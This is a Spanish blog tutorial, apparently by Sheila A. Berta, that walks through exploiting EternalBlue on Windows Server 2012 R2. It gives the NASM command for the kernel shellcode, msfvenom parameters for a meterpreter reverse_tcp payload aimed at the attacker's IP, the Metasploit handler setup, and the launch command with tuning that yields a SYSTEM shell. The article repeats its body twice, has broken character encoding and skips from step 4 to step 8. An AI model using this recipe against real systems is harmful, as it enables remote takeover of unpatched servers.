Cómo explotar Eternalblue en Windows Server 2012 R2 por UnaPibaGeek
Creo que, si hay algo en lo que todos estamos de acuerdo, es que la curiosidad es un factor clave en el camino de la seguridad inform�tica. En mi caso, la curiosidad es tan grande que un d�a me veras hablando de hacking de autom�viles, otro de hacking con drones, otro de malware por Cloud Services y es que, para m�, �todas las �reas de seguridad inform�tica son apasionantes! Pero, aquellos que me conocen bien, saben que mi mayor debilidad pasa por el �rea de "exploit writing", posiblemente por la dificultad y el desaf�o que representa escribir exploits.
Fue entonces que, cuando el grupo TheShadowBrokers public� el leak con exploits de la NSA, fui una de las primeras en meterme con todo en aquel fascinante arsenal de herramientas. Como parte de esa investigaci�n, escrib� un paper de la explotaci�n de Eternablue en Windows 7 y Server 2008 R2, que se public� tanto en ingl�s como en espa�ol en popular sitio exploit-db.
Por supuesto que muchos especialistas, investigadores y apasionados del reversing pusieron bajo su lupa a Eternablue. Como resultado de ello, el security researcher Sleepya, public� en su Github una versi�n de dicho exploit para Windows Server 2012 R2, objetivo originalmente no soportado. Pero la realidad es que incluso el propio autor de esa versi�n del exploit no public� ninguna explicaci�n ni demostraci�n de que realmente funcionara, peor a�n, la gente que comentaba haberlo probado dec�a que no le hab�a funcionado.
Fue entonces cuando decid� mirar dicho c�digo, entenderlo y buscar la manera de tener un impacto exitoso.Para lograrlo, es necesario llevar adelante una serie de pasos y tener en cuenta algunas cosas que detallar� a continuaci�n.
Paso 1: Ensamblar la Kernel Shellcode
Primero es necesario utilizar la kernel shellcode desarrollada por Sleepya. Como se puede observar, es un .asm que debemos ensamblar y para ello utilizaremos NASM con el siguiente comando: nasm -f bin kernel_shell_x64.asm
Paso 2: Generar la Userland Shellcode
Un payload de Metasploit generado con msfvenom ser� la userland shellcode que acompa�ar� a la kernel shellcode ensamblada en el paso anterior. Los par�metros que utilizaremos en msfvenom ser�n los siguientes:
Paso 3: Unir Kernel Shellcode + Userland Shellcode
Para tener un impacto exitoso, debemos pasar ambas shellcodes como par�metro al exploit. Para ello, las uniremos en un mismo archivo en formato .bin haciendo un simple �append� de una shellcode con la otra.
Tras ejecutar el comando que vemos en la imagen superior, tendremos un nuevo archivo �meterpreter.bin� que contiene tanto la kernel shellcode ensamblada como la userland shellcode que generamos con msfvenom.
Paso 4: Configurar el listener de Metasploit
El paso previo al lanzamiento del exploit, es configurar el listener de Metasploit para que reciba la conexi�n inversa del meterperter una vez que el impacto sea exitoso. Para ello simplemente utilizaremos el m�dulo de exploit/multi/handler con el payload de meterpreter.
Paso 8: Lanzamiento del exploit
Utilizaremos el exploit de Sleepya publicado en su GitHub. Est� desarrollado en Python, por lo tanto, lo guardaremos en la m�quina atacante con extensi�n .py.
Acto seguido, abriremos ese archivo .py con un editor de texto y nos dirigiremos a las l�neas 42 y 43 donde debemos indicar la cuenta de usuario que el exploit utilizar� para autenticaci�n. La misma tendremos que haberla conseguido previamente o bien, podemos utilizar la cuenta de Guest si se encuentra activa en el sistema operativo objetivo.
Guardamos y procedemos a ejecutar el exploit con los siguientes par�metros:
El par�metro con valor �200� corresponde al �numGroomConn�. El ajustar la cantidad de conexiones �Groom� ayuda a alcanzar un pool de memoria contigua en el kernel para que la sobreescritura del buffer termine en la ubicaci�n que deseamos y lograr ejecutar la shellcode correctamente.
Para esta userland shellcode utilizaremos un n�mero de conexiones Groom de 200. Si al impactar no recibimos la conexi�n inversa, podemos probar incrementando este n�mero de a 50. Inmediatamente recibiremos la sesi�n de meterpreter en la terminal de Metasploit.
>
Cabe destacar que nos encontramos en una sesi�n de SYSTEM, aunque hayamos utilizado para autenticarnos una cuenta Guest. En el siguiente v�deo tienes la ejecuci�n de este exploit en acci�n.
Sin dudas Eternablue es un exploit que a�n no deja de sorprender. Lo considero tan as�, que le dedique otro paper m�s, donde se explica con mayor detalle el procedimiento que hemos realizado a lo largo de este post y que os dejo aqu�.
El mismo ya fue publicado por exploit-db y puedes leerlo en ingl�s o en espa�ol: :-). Espero que se hayan divertido tanto como yo! Gracias por leer!.
Autor: Sheila A. Berta (@UnaPibaGeek)
![]() |
| Figura 1: C�mo explotar EternalBlue en Windows Server 2012 R2 |
Fue entonces que, cuando el grupo TheShadowBrokers public� el leak con exploits de la NSA, fui una de las primeras en meterme con todo en aquel fascinante arsenal de herramientas. Como parte de esa investigaci�n, escrib� un paper de la explotaci�n de Eternablue en Windows 7 y Server 2008 R2, que se public� tanto en ingl�s como en espa�ol en popular sitio exploit-db.
![]() |
| Figura 2: Lista de exploits para Windows publicados por TheShadowBrokers |
Por supuesto que muchos especialistas, investigadores y apasionados del reversing pusieron bajo su lupa a Eternablue. Como resultado de ello, el security researcher Sleepya, public� en su Github una versi�n de dicho exploit para Windows Server 2012 R2, objetivo originalmente no soportado. Pero la realidad es que incluso el propio autor de esa versi�n del exploit no public� ninguna explicaci�n ni demostraci�n de que realmente funcionara, peor a�n, la gente que comentaba haberlo probado dec�a que no le hab�a funcionado.
![]() |
| Figura 3: M�dulo asm del exploit publicado por sleepya |
Paso 1: Ensamblar la Kernel Shellcode
Primero es necesario utilizar la kernel shellcode desarrollada por Sleepya. Como se puede observar, es un .asm que debemos ensamblar y para ello utilizaremos NASM con el siguiente comando: nasm -f bin kernel_shell_x64.asm
![]() |
| Figura 4: Compilaci�n de la kernel shellcode desarrolladad por sleepya |
Paso 2: Generar la Userland Shellcode
Un payload de Metasploit generado con msfvenom ser� la userland shellcode que acompa�ar� a la kernel shellcode ensamblada en el paso anterior. Los par�metros que utilizaremos en msfvenom ser�n los siguientes:
-p windows/x64/merterpreter/reverse_tcp
-f raw
-o meterpreter_msf.bin
EXITFUNC=thread
LHOST=[IP_ATACANTE]
LPORT=4444 (u otro puerto en la m�quina atacante)
![]() |
| Figura 5: Generaci�n de la Userland Shellcode con msfvenom |
Paso 3: Unir Kernel Shellcode + Userland Shellcode
Para tener un impacto exitoso, debemos pasar ambas shellcodes como par�metro al exploit. Para ello, las uniremos en un mismo archivo en formato .bin haciendo un simple �append� de una shellcode con la otra.
![]() |
| Figura 6: Uniendo ambas shellcodes |
Tras ejecutar el comando que vemos en la imagen superior, tendremos un nuevo archivo �meterpreter.bin� que contiene tanto la kernel shellcode ensamblada como la userland shellcode que generamos con msfvenom.
Paso 4: Configurar el listener de Metasploit
El paso previo al lanzamiento del exploit, es configurar el listener de Metasploit para que reciba la conexi�n inversa del meterperter una vez que el impacto sea exitoso. Para ello simplemente utilizaremos el m�dulo de exploit/multi/handler con el payload de meterpreter.
![]() |
| Figura 7: Configuraci�n del listener de Metasploit |
Paso 8: Lanzamiento del exploit
Utilizaremos el exploit de Sleepya publicado en su GitHub. Est� desarrollado en Python, por lo tanto, lo guardaremos en la m�quina atacante con extensi�n .py.
![]() |
| Figura 8: Merge_shellcode de Sleepya |
Acto seguido, abriremos ese archivo .py con un editor de texto y nos dirigiremos a las l�neas 42 y 43 donde debemos indicar la cuenta de usuario que el exploit utilizar� para autenticaci�n. La misma tendremos que haberla conseguido previamente o bien, podemos utilizar la cuenta de Guest si se encuentra activa en el sistema operativo objetivo.
![]() |
| Figura 9: Configuraci�n de cuenta |
Guardamos y procedemos a ejecutar el exploit con los siguientes par�metros:
python exploit.py ip_target meterpreter.bin 200
El par�metro con valor �200� corresponde al �numGroomConn�. El ajustar la cantidad de conexiones �Groom� ayuda a alcanzar un pool de memoria contigua en el kernel para que la sobreescritura del buffer termine en la ubicaci�n que deseamos y lograr ejecutar la shellcode correctamente.
![]() |
| Figura 10: Lanzamiento del exploit con 200 conexiones Groom |
Para esta userland shellcode utilizaremos un n�mero de conexiones Groom de 200. Si al impactar no recibimos la conexi�n inversa, podemos probar incrementando este n�mero de a 50. Inmediatamente recibiremos la sesi�n de meterpreter en la terminal de Metasploit.
>
![]() |
| Figura 11: Conexi�n Meterpreter conseguida con �xito |
Cabe destacar que nos encontramos en una sesi�n de SYSTEM, aunque hayamos utilizado para autenticarnos una cuenta Guest. En el siguiente v�deo tienes la ejecuci�n de este exploit en acci�n.
Figura 12: PoC de Explotaci�n de EternalBlue en Windows Server 2012 R2
Sin dudas Eternablue es un exploit que a�n no deja de sorprender. Lo considero tan as�, que le dedique otro paper m�s, donde se explica con mayor detalle el procedimiento que hemos realizado a lo largo de este post y que os dejo aqu�.
Figura 13: C�mo explotar EternalBlue en Windows Server 2012 R2
Autor: Sheila A. Berta (@UnaPibaGeek)
download file now











